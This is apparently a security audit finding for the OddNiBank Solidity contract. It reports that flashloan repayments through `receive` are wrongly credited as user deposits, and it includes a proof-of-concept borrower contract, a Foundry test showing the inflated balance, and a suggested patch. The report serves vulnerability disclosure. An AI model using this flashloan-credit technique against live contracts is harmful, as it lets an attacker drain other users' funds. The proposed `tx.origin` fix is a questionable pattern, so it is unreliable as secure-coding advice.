# [H-02] `OddNiBank::receive` have unintended effect in `assetInvested` when user payback `OddNiBank::flashloan` transaction

## Submitter

[goenawansan](https://github.com/Hachiko66)

## Summary

`receive` function wrongly update `assetInvested` when user payback `flashloan` transaction.
because the ether that user payback is not the user's asset, but the flashloan contract's asset, this would lead to unintended effect in `assetInvested` value.

## Vulnerability Details

by doing `flashloan` as a member, the user can borrow the asset from the contract and payback the asset to the contract.
the `receive` function will be called when the user payback the asset to the contract, and the `assetInvested` will be updated with the asset that the user payback.

this is because the `receive` does not differentiate whether the ether sent to `OddNiBank` address is from `flashloan` or not

`OddNiBank.sol`:

```js
    receive() external payable{
        if (!isMember[msg.sender]) {
            revert NotMember();
        }
@>      assetInvested[msg.sender] += msg.value;
    }
```

add the following file to `test` folder:
`LoanBorrower.sol`:

```js

// SPDX-License-Identifier: MIT

pragma solidity 0.8.28;

import {OddNiBank} from "../src/OddNiBank.sol";


contract LoanBorrower {
    OddNiBank public bank;

    constructor(address payable _bank) {
        bank = OddNiBank(_bank);
    }

    receive() external payable {
        (bool success, ) = address(bank).call{value: msg.value}("");
        require(success, "Return Ether failed");
    }

    function executeFlashloan(uint256 _amount) external {
        bank.flashloan(_amount);
    }

}

```

add the following code to `OddniOverall.t.sol`

import the `LoanBorrower` contract:

```diff

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.28;

import "../src/OddNiBank.sol";
import "../src/OddNiBenefit.sol";
// import "../src/attek.sol";
import {Test, console} from "forge-std/Test.sol";
+ import {LoanBorrower} from "./LoanBorrower.sol";

```

add the following test to `OddniOverall.t.sol`:

```js
    function testFlashloanByContractStateChangers() public {
        LoanBorrower loanBorrower = new LoanBorrower(payable(address(OBA)));
        vm.deal(address(loanBorrower), 10 ether);
        vm.prank(address(loanBorrower));
        OBA.registerAsMember();

        vm.prank(address(loanBorrower));
        OBA.depositAsset{value: 2 ether}();

        uint256 borrowerBalanceBefore = address(loanBorrower).balance;

        uint256 loanAmount = 1 ether;
        uint256 balanceBefore = address(OBA).balance;

        loanBorrower.executeFlashloan(loanAmount);
        uint256 balanceAfter = address(OBA).balance;
        assertEq(
            balanceBefore,
            balanceAfter,
            "Contract balance did not return to the original amount!"
        );

        bool lockState = OBA.reentrancyLock();
        assertEq(
            lockState,
            false,
            "Reentrancy lock Should be false after flashloan"
        );

        uint256 contractBankBalanceAfter = address(OBA).balance;
        assertEq(
            balanceBefore,
            contractBankBalanceAfter,
            "Contract Balance should match"
        );

        // make sure member balance not change
        uint256 memberBalanceAfter = address(loanBorrower).balance;
        assertEq(
            borrowerBalanceBefore,
            memberBalanceAfter,
            "Member balance should not change"
        );

        uint256 contractassetInvestedAfter = OBA.getDepositedAmount(
            address(loanBorrower)
        );
        assertEq(
            contractassetInvestedAfter,
            2 ether,
            "Asset Invested Should Remain Unchanged"
        );

        bool contractBonusStatus = OBA.bonusTaken(address(loanBorrower));
        assertEq(contractBonusStatus, false, "Bonus Should Remain Unchanged");
        bool ContractmemberStatus = OBA.getMemberStatus(address(loanBorrower));
        assertEq(
            ContractmemberStatus,
            true,
            "Member Status Should Remain unchanged"
        );
    }

```

then run `forge test --mt testFlashloanByContractStateChangers` the test would FAIL:

```bash
Ran 1 test suite in 896.33ms (103.64ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/OddniOverall.t.sol:OddNiOverallTest
[FAIL: Asset Invested Should Remain Unchanged: 3000000000000000000 != 2000000000000000000] testFlashloanByContractStateChangers() (gas: 254512)

```

because the `assetInvested` should not be updated when the user payback the asset from `flashloan` transaction, as this ether is not deposited by the user.

## Impact

contract balance can be drained by user that do `flashloan` and then call `withdrawAsset` by any amount/max amount inside the contract.

## Tools Used

foundry

## Recommendations

add a check to differentiate whether the ether sent to `OddNiBank` address is from `flashloan` or not
this can be achieved by:

```diff
diff --git a/src/OddNiBank.sol b/src/OddNiBank.sol
index c9b6d40..8b7715e 100644
--- a/src/OddNiBank.sol
+++ b/src/OddNiBank.sol

@@ -115,7 +116,11 @@ contract OddNiBank{
         if (!isMember[msg.sender]) {
             revert NotMember();
         }
+        if (msg.sender != tx.origin) {
+            return;
+        }
         assetInvested[msg.sender] += msg.value;
     }

```
